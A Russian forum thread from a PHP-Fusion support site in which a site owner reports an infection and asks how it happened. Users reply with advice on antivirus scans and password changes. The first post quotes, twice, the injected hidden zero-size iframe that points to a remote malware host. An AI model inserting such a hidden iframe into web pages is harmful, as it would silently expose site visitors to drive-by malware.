Взломали сайт - PHP-Fusion SF Russian Support Site

Регистрация

Забыли пароль?

Правила форума

FAQ (читать перед созданием новой темы)

Просмотр темы

Вернуться на сайт: PHP-Fusion SF Russian Support Site

Форум поддержки PHP-Fusion SF | PHP-Fusion SF - Система Управлением Сайта | Ошибки / Bugs Reports

Тема: Взломали сайт

rrr
Пользователь

Avatar пользователя

Пионер

Завсегдатый

Сообщений: 90
Откуда: Казахстан
Зарегистрирован: 09 Февраля 2008, 17:15:51
Сказали спасибо 2 раз
Статус: offline

Опубликовано 26 Декабря 2009, 14:27:41

В течении некоторого времени в исходном коде страниц появилась строка:

<iframe bibqq='JfSnOjN1' src='http://liveiframe.net/s/in.cgi?7 ' meihh='O66Zo7zx' width='0' height='0' style='display:none'></iframe><iframe bibqq='JfSnOjN1' src='http://liveiframe.net/s/in.cgi?7 ' meihh='O66Zo7zx' width='0' height='0' style='display:none'></iframe>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head><title> и далее...

Я проверил и обновил всё директорию, а эта хрень опять появляется... Может кто - нибудь подскажет , где дыра в сайте и как её закрыть.
PS/ Пароли сменил, и в файловом менеджере не храню/Движок обновил до последней версии.

^ наверх ^

Dysha
Пользователь

Avatar пользователя

PHP Fusion 6.01.19.4

Любитель Fusion

Сообщений: 158
Откуда: Кузбасс
Зарегистрирован: 21 Апреля 2008, 11:24:11
Сказали спасибо 9 раз
Статус: offline
ICQ статус

374267256

Опубликовано 26 Декабря 2009, 16:06:16

Скачивай его (движок) и проверяй антивирусом с последнем обновлением. Заново смени пароли. Желательно, буквенно-цифровой. P.S. Можно воспользоваться антивирусником от хостера. Но гарантий 100% нет, что он чего-то найдет.
-------------------- Едет веб-мастер на поезде и слышит: <td>...</td>, <td>...</td>, <td>...</td>

^ наверх ^

374267256

http://krap-edu.ru

rrr
Пользователь

Avatar пользователя

Пионер

Завсегдатый

Сообщений: 90
Откуда: Казахстан
Зарегистрирован: 09 Февраля 2008, 17:15:51
Сказали спасибо 2 раз
Статус: offline

Опубликовано 26 Декабря 2009, 16:13:24

Яподумал, может к хостеру обратиться, пусть директорию проверят. Движек скачал свежую версии. Дело ещё в чем - лежат у меня в отдельных папках поддомены, они в html все, так вот и в них - тоже зараза...

^ наверх ^

rrr
Пользователь

Avatar пользователя

Пионер

Завсегдатый

Сообщений: 90
Откуда: Казахстан
Зарегистрирован: 09 Февраля 2008, 17:15:51
Сказали спасибо 2 раз
Статус: offline

Опубликовано 26 Декабря 2009, 16:17:02

А пароли у меня - типа: hH7elvbTTf656 и так далее , я в курсе ...

^ наверх ^

Dysha
Пользователь

Avatar пользователя

PHP Fusion 6.01.19.4

Любитель Fusion

Сообщений: 158
Откуда: Кузбасс
Зарегистрирован: 21 Апреля 2008, 11:24:11
Сказали спасибо 9 раз
Статус: offline
ICQ статус

374267256

Опубликовано 26 Декабря 2009, 16:20:54

Скажи, а этот код прописывается только в index`ных файлах? Например, index.php или index.html.
-------------------- Едет веб-мастер на поезде и слышит: <td>...</td>, <td>...</td>, <td>...</td>

^ наверх ^

374267256

http://krap-edu.ru

rrr
Пользователь

Avatar пользователя

Пионер

Завсегдатый

Сообщений: 90
Откуда: Казахстан
Зарегистрирован: 09 Февраля 2008, 17:15:51
Сказали спасибо 2 раз
Статус: offline

Опубликовано 26 Декабря 2009, 16:24:49

И в тех и в тех. Ко всем файлам (почти) приписывается код. А ты сам посмотри... Эта хрень уже недели три у меня, я просто уже обновляю тупо и жду , чем закончится это

^ наверх ^

NffS
Пользователь

Avatar пользователя

Завсегдатый

Сообщений: 85
Зарегистрирован: 23 Августа 2008, 17:21:26
Сказали спасибо 4 раз
Статус: offline

Опубликовано 26 Декабря 2009, 16:31:51

Всем у кого есть доступ к фтп проверить 4 антивирусами свой комп... если ничего не найдено переустановить винду! У меня такое было...
-------------------- http://goldtracker.ru http://goldsoft.org http://arsenal-london.net

^ наверх ^

rrr
Пользователь

Avatar пользователя

Пионер

Завсегдатый

Сообщений: 90
Откуда: Казахстан
Зарегистрирован: 09 Февраля 2008, 17:15:51
Сказали спасибо 2 раз
Статус: offline

Опубликовано 26 Декабря 2009, 16:33:25

По моему, это не выход

^ наверх ^

rrr
Пользователь

Avatar пользователя

Пионер

Завсегдатый

Сообщений: 90
Откуда: Казахстан
Зарегистрирован: 09 Февраля 2008, 17:15:51
Сказали спасибо 2 раз
Статус: offline

Опубликовано 26 Декабря 2009, 16:34:24

Может ещё клавиатуру, мышку и юзера поменять???

^ наверх ^

rrr
Пользователь

Avatar пользователя

Пионер

Завсегдатый

Сообщений: 90
Откуда: Казахстан
Зарегистрирован: 09 Февраля 2008, 17:15:51
Сказали спасибо 2 раз
Статус: offline

Опубликовано 26 Декабря 2009, 16:49:08

Понятно, что вирусина... Вопрос как она прошла... Антивирусник NOD - базы свежайшие, Аутпост стоит, просканировал всё - чисто.

^ наверх ^

Кирдон
SF Team

Avatar пользователя

SF Support Team

Завсегдатый

Сообщений: 75
Зарегистрирован: 25 Ноября 2007, 17:00:22
Сказали спасибо 10 раз
Статус: offline

Опубликовано 26 Декабря 2009, 17:40:40

rrr, Вы не соблюдаете информационную безопасность, так в чем проблема? Скрипт здесь не причем, следовательно тема не должна находиться в разделе "Ошибки / Bugs Reports", модеры - поправьте.

^ наверх ^

NffS
Пользователь

Avatar пользователя

Завсегдатый

Сообщений: 85
Зарегистрирован: 23 Августа 2008, 17:21:26
Сказали спасибо 4 раз
Статус: offline

Опубликовано 26 Декабря 2009, 18:15:51

rrr написал: Антивирусник NOD - вот из-за чего)) Скачай CureIt Если он ничего не найдёт переутсанови винду... PS: Лучше пользуйся Авастом
-------------------- http://goldtracker.ru http://goldsoft.org http://arsenal-london.net

^ наверх ^

iceberg
Пользователь

Avatar пользователя

Завсегдатый

Сообщений: 57
Зарегистрирован: 24 Августа 2009, 19:14:36
Сказали спасибо 2 раз
Статус: offline

Опубликовано 26 Декабря 2009, 21:05:07

у меня тож раньше был NOD--все глотал медиа----сейчас перешел на avira. Класс!!!!!
[Изменил(а) iceberg, 26 Декабря 2009, 21:05:41] -------------------- А ты такой холодный ...

^ наверх ^

NffS
Пользователь

Avatar пользователя

Завсегдатый

Сообщений: 85
Зарегистрирован: 23 Августа 2008, 17:21:26
Сказали спасибо 4 раз
Статус: offline

Опубликовано 26 Декабря 2009, 21:15:24

Offtopic: avira ещё больше пропускает троянов чем nod )
-------------------- http://goldtracker.ru http://goldsoft.org http://arsenal-london.net

^ наверх ^

rrr
Пользователь

Avatar пользователя

Пионер

Завсегдатый

Сообщений: 90
Откуда: Казахстан
Зарегистрирован: 09 Февраля 2008, 17:15:51
Сказали спасибо 2 раз
Статус: offline

Опубликовано 28 Декабря 2009, 09:44:21

Друзья, всем спасибо, проблема понятна.

^ наверх ^

Перейти на форум:

104,861,306 уникальных посетителей
сейчас: 01 Ноября 2024, 03:37:14
Генерация страницы: 1.17 сек.

Original size:37 кб.
GZipped size: 7 кб.
Compression:81%